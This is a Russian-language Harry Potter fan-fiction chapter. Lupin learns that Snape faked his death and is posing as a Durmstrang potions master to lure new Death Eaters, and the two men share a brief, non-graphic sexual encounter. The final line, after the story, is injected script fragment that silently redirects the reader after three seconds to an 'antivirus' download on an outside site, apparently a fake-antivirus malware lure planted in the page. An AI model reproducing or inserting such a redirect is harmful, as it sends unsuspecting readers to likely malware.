Профессор Флитвик потушил устроенный студентом костерок. Но то ли крик, то ли вспышка пламени напугали птицу: Эррол дернулся, пытаясь подняться выше, провалился в какую-то воздушную яму, снова рванулся - и желтый конверт с обрывком бечевы полетел вниз.

- Инсендио! - выкрикнула девочка с каштановой косой. Отличница, как говорил профессор.

Костер снова взметнулся - и конверт ухнул в его золотое нутро и занялся бодрым синеватым пламенем.

С жалобным криком Эррол кинулся за ним.

- Вингардиум левиоса! - Флитвик занялся совой. Все равно у бумаги было мало шансов уцелеть.

Я выбежал во двор. Конверт догорал. Дело было сделано.

От всего сердца поблагодарив коллегу за спасение совы, я забрал ее. Убитый горем Эррол был накормлен печеньем и за дополнительную мзду в виде того же печенья согласился отнести другой конверт. Этот был мал: в нем лежало несколько обугленных клочков предыдущего "послания", краткое описание происшедшего и мои бесчисленные извинения и соболезнования по поводу постигшего Траппа несчастья.

К этому я присовокупил обещание отыскать в бумагах Снейпа все письма его коллеги и переслать их в Дурмштранг. Или передать с нарочным. Или вручить ему лично - как мистеру Траппу заблагорассудится. И все же я не надеялся умилостивить вздорного зельевара, а потому не удивился, когда в ответ на мои реверансы он пригрозил "посвятить в наш конфликт" руководство обеих школ. Я не удивился бы, даже если бы он подал на меня в суд.

Впрочем, МакГонагалл, расспросив меня, пообещала, что до суда дело не дойдет. В последние дни она вообще казалась более уверенной, чем когда бы то и было с момента смерти Снейпа. На следующей неделе Минерва собиралась в Дурмштранг - и обещала лично переговорить с Траппом.

- Думаю, ты правильно сделал, что продемонстрировал готовность к сотрудничеству. Конечно, очень досадно получилось, что его рукопись сгорела. Но, по большому счету, этому можно только радоваться.

В этот день в ее кабинете не было цветов, и все же она улыбалась.

Я тоже.

С ее отъездом Хогвартс опустел. Трапп, разумеется, тоже замолчал. Тем не менее, я честно перебирал бумаги Снейпа в поисках писем его коллеги. Не все они хранились в конвертах, так что кое-какие послания я прочел. Трапп действительно много советовался с Северусом по профессиональным вопросам и тот, похоже, находил кое-какие его идеи весьма стоящими.

Вообще говоря, обсуждать зелья с профессором из Дурмштранга явно было гораздо приятнее, чем, так сказать, вести личную переписку. В письмах, посвященных алхимии, не было ни заискивания, не хамства - только изложение мыслей, быть может, в несколько необычном стиле, но вполне ясное. Некоторым образом они походили на аврорские рапорты.

Изучая эти послания, я вспоминал собственный отчет о занятиях, проведенных мною во время поездки Снейпа в Дурмштранг. Писать его было скучно. Впрочем, этого подвига от меня никто не требовал - я действовал по собственному почину. Просто чтобы доказать Северусу, что отнесся к его предмету серьезно. Получалось не очень складно, и я просидел над отчетом два вечера.

А он его так и не увидел.

День возвращения Минервы приближался, и мы решили устроить ей торжественную встречу. Вечером накануне ее прибытия Большой зал был разукрашен, как под Рождество. Своим блеском он не уступал хрустальному гроту Мерлина: созвездия на потолке сверкали, как начищенная медь, а подножие отведенного МакГонагалл кресла Хагрид украсил волшебными цветами. Мне же пришло в голову, что стоило бы купить ей обычных роз - вроде белой Rosa Alba, украшавшей герб Йорков. И я отправился в Хогсмид, а оттуда - к магглам.

И только тогда обнаружил, что просидел над проверкой контрольных по зельям дольше, чем рассчитывал. Почти все магазинчики, торговавшие цветами, успели закрыться; а в тех, что еще работали, роз не осталось. Вот ведь глупость какая! Я в растерянности озирался по сторонам и вдруг услышал:

- А вот поцелуйчики! Кому поцелуйчики? - и почуял слабый аромат еле живых цветов.

Обнаружившаяся за углом цветочница при виде меня завела громче:

- Молодой человек! Купите поцелуйчики! Моло... - она осеклась, когда я подошел. Принять меня за молодого можно было только издали.

В пластиковом ведерке перед ней стояли ветки, усыпанные мелкими блеклыми розочками. Ничего похожего на сияние Rosa Аlba.

- Много их у вас?

- Девять, сэр, девять веточек, и вы не смотрите, что цветы еще в бутонах - они обязательно раскроются.

- Я возьму все. Сколько я вам должен?

Она назвала цену. Я уплатил, не торгуясь, и отправился обратно тою же кружной дорогой.

Вернувшись, я отыскал чистый неглубокий котел, на всякий случай еще раз очистил его - и преобразовал в подобие знакомого розам ведерка. Наполнив его водой, я отправил в него цветы, пристроил псевдоведерко у стола и снова засел за проверку контрольных, теперь уже по ЗОТИ. Работы мне оставалось еще часа на полтора. Все-таки ее было слишком много для одного.

Мало-помалу она стала казаться мне... неуместной. В комнатах что-то изменилось, и это "что-то" отвлекало меня. Я не сразу сообразил, что это запах. Цветочница не солгала - розы очнулись.

Они не давали того липкого сладкого аромата, которым славились крупные красные и пунцовые розы. Нет, дыхание этих почти телесного цвета цветов было летучим и радостным, как ветер в пору таяния снега. И сами полураскрывшиеся бутоны были похожи... да, они были похожи на острожные, легкие поцелуи бледных губ.

Я отложил свиток с последним сочинением и некоторое время сидел, наслаждаясь тишиной во всем мире. Я не забыл ничего из того, что волновало меня, но как-то беспричинно успокоился и даже... Мне пришло в голову, что со мной еще может случиться что-то хорошее. Не по заслугам, нет, они не имеют значения – просто потому, что я еще жив.

Встряхнувшись, я вернулся к делу, быстро закончил поверку и отправился спать. Во сне все было почти так же, как наяву: тьма, жар и чьи-то скользящие поцелуи.

Я проснулся чуть свет - и сразу же принялся одеваться. Дарить эти цветы Минерве было совершенно невозможно. Конечно, в самих цветах не было ничего неприличного, но даже у ликантропов есть понятия о пристойности. Ей нужны были белые розы, только белые и немного аспарагуса… И я помчался к магглам.

МакГонагалл вернулась весьма довольной - и огромной розой того же странного телесного цвета, что и... Нет, я все-таки нашел ей белые! Минерва поставила их вместе с ирисами, которые Помона Спраут вырастила специально к этому дню. Роза, подаренная дурмштрангцами, очень выделялась в этом окружении. МакГонагалл то и дело поглядывала на нее.

- Как прошла поездка? - я заглянул к ней в кабинет поздно вечером.

Минерва бросила взгляд на букет.

- На редкость удачно. А Теренс Трапп при личном знакомстве оказался значительно более приятным человеком, чем можно было предположить по вашей переписке.

Она послала улыбку подозрительной розе.

- Не хотите ли вы сказать, что этот цветок преподнес именно он?

МакГонагалл с усмешкой покачала головой:

- Ты слишком романтичен. Роза - подарок всего Дурмштранга. Помона когда-то сообщила своей тамошней знакомой, какие цветы я люблю, и та - она преподает у них травоведение - взялась вырастить для меня что-нибудь особенное. А мистер Трапп посодействовал ей.

- Необычный получился цветок, - если отвлечься от беспокоивших меня ассоциаций, растение следовало признать красивым. - Так, значит, вырастить его помогал зельвар? Я и не знал, что зельеварение может что-то дать гербологии. Наоборот было бы естественнее...

- Скоро ты сможешь выразить свое изумление мистеру Траппу лично. Он прибудет к нам через четыре дня.

- Вы пригласили его в Хогвартс?! - я и сам поразился тому, насколько мне не хотелось встречаться с этим немцем. - А нельзя ли перенести его визит на неделю? Чтобы он пришелся на полнолуние?

- Нельзя. Вам необходимо наладить отношения, - отрезала Минерва. - И легче всего сделать это при личной встрече.

Она была права, но это соображение меня не успокоило. В те дни меня не успокаивали никакие соображения. Дело шло к февралю, поре волчьх свадеб, а те девять веток, купленные на улице, все еще стояли в моих комнатах и все так же отравляли мои сны.

Нет, в каком-то смысле сны сделались даже увлекательнее, но жаль было ограничиваться одними лишь снами. А на пути их воплощения в реальность стояло существенное препятствие: я не понимал, о ком мечтаю. Больше того, я предпочел бы не мечтать ни о ком - лишь бы ни к кому не приспосабливаться. От этого-то я и делался несколько раздражительным, и ожидание Траппа не улучшало моего настроения.

Алхимик прибыл в субботу, незадолго до обеда, и прямо в Большом зале был представлен всей школе. Я разглядывал его с неподобающим любопытством, ища в нем какого-нибудь сходства со Снейпом. В конце концов, должно же было быть в них что-то сходное, если они так охотно общались!

Трапп был удивительно бесцветный человечек, полноватый и рыхлый, ростом немногим больше Флитвика. Округлое лицо его с мелкими чертами показалось мне совершенно заурядным. Ничто в этом лице не наводило на мысль о каких бы то ни было талантах, хотя Снейп вроде бы и считал его серьезным ученым. Не было видно в госте ни крайней подозрительности, ни упрямства, которые он демонстрировал в переписке. Двигался он неуклюже, а говорил охотно и много, но как-то бессодержательно, насколько я мог слышать. Но похоже, Помона находила его интересным собеседником. Во всяком случае, их разговор продолжался до самого конца обеда.

Встав, наконец, из-за стола, гость выразил желание поближе познакомиться со мной. Он подал мне влажную ладонь, похожую на плохо пропеченную булку, и принялся извиняться за свои письма, уверяя, что "был страшно расстроен гибелью герра Снейпа", а потому так болезненно отреагировал на происшествие с бумагами. Я вежливо пожал эту булку и заверил ее владельца, что не меньше его был расстроен убийством Северуса, а затем и пресловутой неприятностью с бумагами. Трапп, подслеповато моргая, объявил, что, несмотря на упомянутое недоразумение, необыкновенно рад нашей встрече. Я выразил ответную радость. Он, все еще потрясая мою руку, заявил, что относится ко мне с бесконечным уважением. Я стиснул зубы и, со своей стороны, заверил его в аналогичном отношении.

Минерва, стоявшая поодаль, взирала на нас с тревогой.

Трапп, наконец, выпустил мою руку - видимо, почитал долг вежливости исполненным - но так и не перешел на человеческий язык. В самых выспренных выражениях он поведал мне о своей "давней, можно сказать заветной" мечте - увидеть лабораторию Снейпа.

Его неискренний тон мне совсем не понравился. Я чуть было не отказал, но, натолкнувшись на предостерегающий взгляд МакГонагалл, кое-как выговорил, что согласен. Все же мне удалось перенести этот визит на вечер, отговорившись крайней занятостью (вот когда я порадовался, что не отказался от преподавания ЗОТИ!), а до тех пор зельевар вынужден был довольствоваться обществом Минервы и Помоны.

Возможно, он был слегка разочарован этим, но виду не подал.

В сущности, я и так собирался провести вечер в лаборатории - Поппи просила меня в ближайшие дни сварить несколько зелий. Покончив со своими обязанностями, я отправился в комнаты Снейпа и взялся за дело.

Время шло, а Трапп не показывался. Явился он, когда я уже перестал ждать. Я как раз высыпал в ступку "драконьи слезы" (мелкие камешки вроде ляпис-лазури, добывавшиеся в горах), необходимые для приготовления зелья сна без сновидений, когда услышал шаги в коридоре.

- Пароль, - проскрипела дверь лаборатории.

- Еще не знаю, - поздний посетитель энергично постучался.

Я открыл.

- О, это вы!

- Я самый, Теренс Т. Трапп собственной персоной! Вы ведь не забыли о нашем уговоре?

Человечек снова сунул мне вялую влажную ладонь. Я вежливо встряхнул ее и отступил от порога.

- Я не забыл, но полагал, что вы передумали.

- Ни в коем случае! Просто заговорился с фройляйн Помфри.

- Ну что ж... Проходите, пожалуйста.

Вертя головой, он прошествовал на середину комнаты. Бросил любопытный взгляд на котел, где кипела основа для зелья. Наверняка сунул нос и в ступку, пока я запирал дверь. Ощущая смутную тревогу, я наложил на нее еще и несколько специальных заклинаний. Решил, что вреда от них не будет, даже если мы не станем обсуждать ничего секретного.

- Присаживайтесь.

Гость плюхнулся на стул и с удовольствием обвел взглядом помещение.

- А у вас тут недурно, только мрачновато.

- Зато спокойно. Хотите выпить? Может быть, сливочное пиво?

- Виски, если есть, - он не стал церемониться. - Я слышал, у вас продают хороший виски. Не в самом Хогвартсе, разумеется...

Он заулыбался собственной шутке. Я тоже ухмыльнулся - представив, что будет с этим болтуном после "Старого Огдена".

- Вы правы, не в Хогвартсе. Но поблизости купить можно, и тут осталась кое-что. Пожалуй, составлю вам компанию, - я отыскал бутылку, наполнил два стакана и вручил ему один. Потом сел у стола.

Он отхлебнул спиртное и прищурился.

- А скажите, мистер Трапп...

- Можно просто Теренс, - отмахнулся он.

- Скажите, Теренс, - я тоже сделал глоток, - что означает ваше второе "Т"? Трой? Торстен? Тобиас?

- Траббл, - подслеповатые глаза распахнулись. – Звучит как "трабл", неприятности. Неприятности - мое второе имя.

Я вскочил. Нет, зелье пока не требовало моего внимания - я просто не смог усидеть, разглядывая это недоразумение. Ничего знакомого в нем так и не проступило. Только взгляд сделался прежним - как у волка, идущего по следу.

- Это верно, Северус.

- Догадался все-таки! - Он издал какое-то кудахтанье, вероятно, обозначавшее смешок, и откинулся на спинку стула. Эта привычка была мне незнакома. Снейп, которого я знал, никогда не делал так. Трапп же не только внешностью, но и манерами не походил на него. Теренс сильно отличался от Северуса... пожалуй, даже слишком сильно.

- Я сразу заподозрил...

- Чепуха! - он пренебрежительно махнул рукой, отметая мои слова. - Ты даже не предположил!

- Хорошо, можешь не верить, но я же узнал! И только ли я? Может быть, и Минерва? - мне приходилось ловить его взгляд, чтобы не разувериться в своем открытии.

- Разумеется. Десять баллов Гриффиндору за вторую догадку, - съязвил он.

- Но где же настоящий Трапп? Остался в Дурмштранге?

- Нет, прямо перед тобой! - он снова закудахтал. - Я и есть самый настоящий Трапп. Более настоящего никогда не существовало. Это я его создал - это я с начала учебного года преподаю зельеварение в Дурмштранге.

- А письма?

- Писал я же. Зачарованным пером - так нельзя узнать по почерку.

- Но ту статью? - я взглянул на песочные часы и отошел к столу. Момент был неподходящий, но пришла пора добавлять в зелье "драконьи слезы".

- Тоже писал я, - он следил за моими действиями.

- Значит, она, как и твой отзыв на нее, были выдумкой?

Он допил виски, поставил стакан на пол и выпрямился.

- Нет, статья, которую ты так любезно сжег, была написана всерьез. И рецензия тоже. И я мог бы воспользоваться ими, если бы ты не уничтожил бумаги.

- Я и не уничтожил, - буркнул я, кроша камешки в пыль.

- Что?

- Статья цела. Лежит в моей ячейке Гринготсе.

- А? Не понял, - он опять не разобрал моих слов и нелепо заморгал.

- Северус, - не выдержал я, - не мог бы ты принять нормальный вид? А то нам трудно разговаривать. Я все время сомневаюсь в том, что беседую именно с тобой, а ты меня попросту не слышишь.

- Со мной всегда трудно разговаривать, - буркнул он голосом Траппа, но со знакомой мне интонацией. - А тот, чей облик я принял, и в самом деле плохо слышит.

- Ты мог сварить себе...

- Не мог. Это очевидно для любого, кто читал ту статью о костеросте и оборотном зелье. Впрочем, неважно. Никаких неудобств слабый слух мне не доставляет. Так даже спокойнее.

Превознося таким образом свое новое тело, он нашарил где-то в кармане бутылочку с настоем мандрагоры и сделал изрядный глоток. Я как раз покончил с "драконьими слезами" и собрался было приступить к измельчению усни-травы, но засмотрелся на превращение.

В большинстве случаев наблюдать за сменой облика неприятно, но Трапп казался мне таким нелепым, что я следил за происходящим с облегчением. Снейп возвращался, и выглядел он лучше, чем тот, кого мы похоронили.

- Послушай... а кто же лежит на кладбище?

- Патрик Рестарик, маггл. Он был очень похож на меня - мы посчитали, что природное сходство надежнее, чем созданное чарами или зельями. Были на примете и другие двойники - один умер накануне твоего приезда. Минерва убеждала меня воспользоваться случаем, но я решил подождать. Рестарик был серьезно болен и подходил идеально. К тому же нелишне было еще раз навестить Дурмштранг, чтобы все запомнили, что Трапп был моим хорошим знакомым.

На этих словах Снейп поднялся и подошел к котлу, по всей вероятности, посчитав необходимым проконтролировать процесс. Ну конечно, раз уж он тут!

Подавив невольное раздражение, я вернулся к беседе:

- Разве его не искали?

- У него не было семьи, так что его смерть прошла незамеченной.

- А тот, чью внешность ты позаимствовал для … Траппа?

- Вполне заурядный волшебник из Финляндии. Сейчас живет в Дании, - Снейп, не отрывая взгляда от котла, сделал два шага вправо и снял с полки коробочку с уже измельченными когтями грифона. Отмерив положенное количество порошкообразной массы, молча высыпал ее в котел и перевернул песочные часы. Очевидно, зелье еще можно было спасти.

Я взялся резать корень папоротника. Северус достал с другой полки бутыль с маковыми зернами, высыпал их в маленькую ступку и принялся растирать. Некоторое время мы трудились молча, полностью сосредоточенные каждый на своем занятии. Потом папоротник отправился в котел, и мак последовал за ним. Так же молча Снейп подал мне другую доску и нож. Измельчив на доске две дюжины крыльев златоглазок, я добавил их в кипящее зелье. Потом влил туда же две унции сока бессмертника. Северус извлек из ящичка пригоршню сухого серого мха и растер в ладонях прямо над котлом.

Отмеренное песочными часами время вышло, а зелье не желало снова закипать. Если оно сейчас не... Но нет, мы успели: в котле забурлили ключи, и варево на глазах поменяло цвет. Теперь надо было дать ему покипеть несколько минут, помешивая специальной деревянной лопаточкой. Я потянулся за ней - и пальцы мои сомкнулись на кисти Снейпа. Северус оказался чуть быстрее меня.

Он стряхнул мою руку, стиснул деревяшку и оттеснил меня плечом от котла. И принялся мешать зелье. Я разглядывал его профиль, беспокойно движущиеся руки, напряженную спину - он словно еще подозревал меня в намерении отнять лопаточку... смотрел - и понимал, что времени не существует. Война продолжалась. Затишье продолжалось. На дворе был 93-й год. Не кончалась и наша учеба в Хогвартсе. Ничто никуда не девалось, все происходило одновременно. Мы жили в этой каше, кое-как пробирались в ней по мере собственного разумения, и все, что уже случилось или еще могло случиться с нами, было рядом, рукой подать.

- Все-таки хорошо, что ты жив, - я потянулся к его спине, осторожно положил ладони на плечи. Мне хотелось еще раз убедиться в его материальности.

Он съежился и прошипел:

- Меня тоже это более или менее устраивает. Но учти, я предпочитаю быть активной стороной.

- Я не имел в виду ничего подобного, - приятно было чувствовать, что он не был хрупким. И очень странно. Непривычно. Я никогда прежде не трогал его так.

Он отбросил лопаточку, погасил огонь под котлом и повернулся ко мне.

- Вот как? Ты любезно отводил мне другую роль?

- Я вообще не отводил, - я больше не касался его.

- Очень непредусмотрительно.

Он вдруг притянул меня к себе, словно собираясь поцеловать.

Я не оттолкнул его и не шарахнулся прочь только потому, что не мог поверить в реальность происходящего. Этому не было места в действительности. Ни скользящим касаниям губ, ни жестким рукам, только что гладившим мою спину, а теперь лезшим мне под одежду. Не могло быть объятий, всего его тела, так удобно прильнувшего ко мне. Невозможно было, чтобы мы почти разделись, едва добравшись до диванчика - тут и было-то всего пять шагов... Я никогда не думал, что его рот заставит меня хныкать от удовольствия и что мои попытки повторить его фокус так понравятся нам обоим. И что после мы уснем, прижавшись друг к другу. Я не ждал от себя такого. А от него…

Засыпая, я был уверен в одном: он сумасшедший, и пользуется этим.

Первым – я был уверен, что проснулся первым, и первым чувством моим было сожаление. Что я совершил... нет, во что ввязался! Со Снейпом не бывало поступков без последствий - уж я-то знал, что он не верил в случайности. Значит, ему зачем-то понадобилось проделать это со мной, навязать мне некую роль, пусть я и не мог еще представить себе, какую. Но мне, мне-то зачем это было нужно?! Разве это я желал получить? Стоило прожить так долго в полном одиночестве и даже в Хогвартсе прослыть анахоретом, чураясь людей и пугаясь любой привязанности как непомерной тяжести, чтобы так попасться! Ну да, я бы рад убедиться в том, что он жив, но не настолько уж рад, чтобы...

А все февраль, и дурацкие ночные мечтания, и испарения от зелий, конечно, - с годами все алхимики делались безумны, как Шляпные Болванщики. Именно, вчерашнее происшествие пахло безумием. И безумием со стороны Северуса было полагать, что я отвечу на те поцелуи - а подлинное безумие всего опаснее, ибо заразно. А я... Что я? Голову потерял, а теперь был растерян и напуган, как ребенок, которому вместо игрушечной пожарной машины досталась настоящая. И что мне, скажите на милость, следовало с нею делать?!

Шорох в соседней комнате заставил меня вскочить. Напоминая себе, что никто, кроме владельца, не мог проникнуть туда, я все же набросил на себя мантию и, схватив волшебную палочку, отправился выяснять, что случилось. Полки у дальней стены были сдвинуты, за ними темнела никогда не виданная мною ниша, а на столике стоял думосбор - по всей видимости, до сих пор находившийся в этой нише. И Снейп был поглощен изучением его содержимого.

- Значит, тайник я все же проглядел, - я был раздосадован.

- Он был настроен только на меня. Да и я не мог бы открыть его, будучи в обличье Траппа, - серебристая нить воспоминаний отправилась в думосбор. Наверняка не первая. Неужели...

- В Дурмштранге есть легелименты? - так вот зачем ему надо было остаться тут на всю ночь в своем обычном виде!

Я проговорил это вполне беззаботным тоном, но он поднял голову и - я мог бы покляться в этом - без всяких заклинаний прочел мои мысли.

- Ну разумеется, Люпин, я здесь по делу, - лицо его приняло самое неприятное выражение. - Минерва еще не подыскивает мне кандидатуры для свиданий.

Я не нашелся с ответом - развернулся и вышел вон. Мне нечего было там делать. Зато надо было перелить зелье в бутыль и отнести ее в больничное крыло. И вообще навести порядок в лаборатории.

Он пришел через несколько минут, уже в виде Траппа. Вероятно, сие исчезновение Снейпа означало, что все разговоры между нами окончены. Во всяком случае, больше соваться с ними я не собирался, раз он предпочел от меня отделаться. Я молча отпер входную дверь, и тусклый человечек выскользнул наружу.

- Очень признателен за все! Общение с вами было весьма поучительным, - пропел он уже в коридоре и слегка поклонился.

Больше всего на свете мне в тот момент хотелось хлопнуть дверью.

Я видел его в Большом зале за завтраком, а вскоре после трапезы он отбыл обратно в Дурмштранг. Прощаясь, гость жал руки всем профессорам, не исключая и меня, и я снова встретился с ним взглядом. Глаза у него были совсем нехорошие - даже хуже, чем накануне. И что-то еще было не так, а что - я не разобрал, смотреть на него не хотелось. Я и не смотрел больше. И думать о чепухе, кстати, было некогда - начинались занятия, и следовало сосредоточиться на другом.

К концу уроков я чувствовал себя совершенно измотанным, но раздражение мое не утихло. Масла в огонь подливало ожидание разговора с Минервой. Предмет предстоявшей беседы - а угадать его было несложно - совершенно меня не устраивал. Однако при виде МакГонагалл, метавшейся по кабинету, как тигр по клетке, мне удалось взять себя в руки.

- Северус сообщил мне, что ты в курсе происходящего. Он только не сказал, согласен ли ты помогать в осуществлении его плана. Как я понимаю, ты еще не принял решения.

- Вы правы, - откликнулся я, лихорадочно соображая, что она имела в виду, - мне нужно было подумать.

Две мысли вертелись у меня в голове: знала бы Минерва, что за странный способ выразить недоверие я избрал; и - о каком, Мерлина ради, плане шла речь?!

- Не удивлюсь, если поначалу ты отнесся к нему с недоверием, - кивнула Минерва. – Может быть, тебе будет легче решиться после моих объяснений? Северус, как мы оба знаем, слишком любит недомолвки, в особенности в разговоре о том, что считает очевидным. А в случаях, подобных этому, лучше говорить прямо.

Я с благодарностью согласился.

- Тогда нам лучше сесть, - Минерва указала мне на кресло и опустилась в другое. Несколько секунд она молчала, собираясь с мыслями, а потом начала:

- Как ты знаешь, у Северуса были связи в Германии. Вскоре после победы оттуда стали приходить сведения о появлении значительного числа сторонников Волдеморта.

Я кивнул. В бумагах Снейпа я не раз видел упоминания об этом.

- Мы предполагали, что они связаны с Упивающимися смертью или их помощниками, еще не принявшими метку. Вычислить последних не представлялось возможным, однако было ясно, что они нас хорошо знают и могут попытаться свести счеты с отступником. Поэтому мы решили, что Северус должен исчезнуть, и лучше всего - умереть.

Я снова кивнул. Пока не прозвучало ничего неожиданного.

- Тогда же он предложил подготовить ловушку для тех, о ком сообщали из Германии. Приманкой в ней должен был стать человек, который в силу одаренности и положения мог бы представлять интерес для Упивающихся. К тому же он должен был быть не слишком щепетилен. Искать такого человека было бы долго, да и нельзя было быть уверенным в том, что он будет действовать на нашей стороне. Проще было создать его. Так возник Теренс Трапп.

Я сцепил руки на груди. Малоприятная у них вышла креатура… Но конечно, хорошие зельевары всегда в чести, и Дурмштранг охотно принял его на работу.

- Северус сделал многое для того, чтобы создать ему соответствующий образ, - продолжала Минерва. – Однако у Траппа был один недостаток - с ним было трудно поддерживать связь. Странно было бы, если бы дурмштрангский зельевар постоянно писал директору Хогвартса. Другое дело - своему коллеге.

Я поерзал в кресле. Верно, другому зельевару Трапп мог бы писать, не вызывая подозрений. Но мне?

- Не думаю, что переписка с тем, кто ничего не смыслит в зельеделии, выглядит естественно.

- Ваша выглядела, - МакГонагалл усмехнулась, и я вспомнил, как она расспрашивала меня о письмах Траппа. - Я настаивала на том, чтобы посвятить тебя во все, но твой сокурсник не желал делать это без крайней необходимости. Он подготовил статью, которая должна была обратить на себя внимание наших противников - если бы ты, не заметив приписки или не придав ей значения, переслал бумаги в Дурмштранг. А если бы ты поверил рецензии, привлечь внимание сторонников Волдеморта к Траппу должен был скандал, который он собирался устроить в связи с твоим нежеланием возвращать рукопись. Но так как она погибла...

- Рукопись цела. Я сжег чистую бумагу.

- Да? - Минерва нахмурилась. - Но все равно – все знают, что она сгорела...

Действительно, внезапно объявить, что статья все-таки цела, и напечатать ее было уже невозможно. На месте новых Упивающихся я бы к Траппу после этого не сунулся - заподозрил бы, что это ловушка.

- Я надеялась, что после этого происшествия Северус откажется от своей идеи, - сокрушенно прибавила она, - и мы подыщем менее рискованный способ обнаружить противника. В той статье было слишком много правды, и существовала опасность, что Траппа попытаются принудить работать на новых Упивающихся. С другой стороны, ссылаться на несуществующее открытие было бы не менее опасно. Так или иначе, он решил попробовать изобразить из себя приманку и без статьи.

Изобразить из себя приманку... добычу для тех, кто хотел убить Снейпа... И в самом деле, рискованно.

И тут я вспомнил, что именно видел краем глаза за завтраком в Большом зале. Сообразил, что же изменилось в облике Траппа.

Тень. Над ним появились крылья.

Я зажмурился, пытаясь воскресить картину в памяти. Не было же сначала, не было там никаких… И да, это были они.

Проклятье… идиот! Глупец, глупец же, какой глупец! Придумал что-то… Выругавшись про себя, я открыл глаза. МакГонагалл встревоженно смотрела на меня.

- Что..? - начали мы одновременно.

- Да, Минерва? Сначала вы, - опомнился я.

- Я хотела узнать, что тебе пришло в голову.

- Что лучше и в самом деле поискать другой способ.

Она поджала губы.

- Не пытайся лгать. Я вижу, что ты встревожен.

Проклиная Снейпа и любимое им, но почти недоступное мне искусство говорить обиняками, я кое-как объяснил, что именно мне почудилось. Она помрачнела.

- Боюсь, ты снова прав. Северусу пришла в голову еще одна опасная идея. Дело в том, что один из новых знакомых Траппа показался ему весьма похожим на тех, кого мы ищем.

- Показался? - в первый раз я слышал, чтобы ему что-то казалось.

- Результат использования думосбора. Иногда лакуны в памяти бывают весьма неудобны. Понимаешь, что где-то видел человека, а где – уже не знаешь. Северус пытался утром найти то воспоминание, но не успел. К сожалению, он вынужден был вернуться в Дурмштранг не позднее полудня.

- Надо было начать поиски еще вечером, если это было так важно... – и можно было начать вечером, поправил себя я. Нужно и можно было. Я бы не стал мешать. Это же он сам…

МакГонагалл пожала плечами:

- Вчера, по его словам, было не до того. Впрочем, все это неважно, если ты согласишься помочь.

- Каким образом?

- Вы же обсуждали именно это, разве ты забыл? - удивилась Минерва. - У того волшебника здесь есть знакомые. Если до них дойдут разговоры о, скажем, недостаточной лояльности Траппа, шансы на то, что с ним свяжутся, возрастут.

- Да, конечно. Но не могу же я направо и налево рассказывать, что мой коллега симпатизирует последователям Волдеморта!

- И не нужно. Для начала достаточно пару раз выразить сомнение на его счет. Во-первых, я уверена, что ты не скажешь лишнего. Во-вторых, нам нужна твоя репутация. Многим известно, что ты не принимаешь поспешных решений. Потом же можно...

Я прослушал, что предлагалось делать потом, зацепившись за эту фразу. Известно, что я? Я не принимаю поспешных решений? Разве в день моего приезда Снейп и МакГонагалл говорили обо мне? И он согласился с этой оценкой?

По-своему истолковав мое молчание, МакГонагалл вздохнула и заключила:

- Вижу, ты еще не определился. Ну что ж, подумай еще, а утром дашь ответ. Если не захочешь в этом участвовать, я найду другие варианты.

- Нет, - я покачал головой, - завтра ответа не будет. Будет сейчас: я согласен.

- Спасибо, - тихо сказала Минерва и отвернулась. - Теперь мне будет спокойней. А то...

Я опустил глаза. Невозможно смотреть в лицо тому, кто в чем-то от тебя зависит.

- Как бы я хотела, чтобы ничего этого не было, - пальцы ее вдруг стиснули подлокотники кресла. - Иногда мне представляется, что война идет уже целую вечность и будет идти еще столько же, несмотря на все наши усилия! Всегда найдется кто-то, кто захочет власти, большой власти… или абсолютной. Когда я думаю об этом, все представляется бесполезным. Все наши интриги, риск, жертвы могут оказаться бессмысленными… После смерти Альбуса я поняла это со всей несомненностью. Но именно тогда я поняла и про розы. Нет ничего менее совместимого с войной, чем они. Когда я смотрю на них, я знаю, что она кончится.

Я не представлял, что сказать на это. Но не сомневался в том, что нужно сделать.

- Будьте любезны белые.

Это был уже третий магазин. В первых двух набралось в общей сложности восемь подходящих роз, здесь нашлись еще три. Довольный уловом, я вышел на улицу и увидел женщину с пластиковым ведерком. В нем теснились цветы. Цветочница тоже заметила меня.

- Сэр, у меня есть кое-что для вас! Идите сюда! - крикнула она. Букет в моих руках нисколько не смущал ее.

Как под Империо, я приблизился. Женщина извлекла из пестрой охапки три веточки, похожих на шиповник.

- Вот... Я запомнила, они вам понравились.

Я уставился на едва раскрывшиеся цветы - и онемел. Словно впервые разглядел их. Этот непраздничный вид. Темное одеяние листьев. Колючки. Мелкие и блеклые лепестки-поцелуи. Это чепуховое, незаметное в своей обыденности, душистое...

Я не выдержу вторых его похорон.

За последние несколько месяцев я превратил кабинет Минервы в розарий, а свою жизнь в фарс. Я перестал быть похож на самого себя. Я заводил скандалы. Варил зелья. Распускал слухи.

Недавно мне пришел еще один желтый конверт с очередной порцией высокопарной чуши. Я показал письмо МакГонагалл. Она буквально выхватила его у меня из рук. Даже не хотела возвращать его, но перечитав трижды, все-таки отдала.

А потом сказала, что скоро мне оставят только ЗОТИ.

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>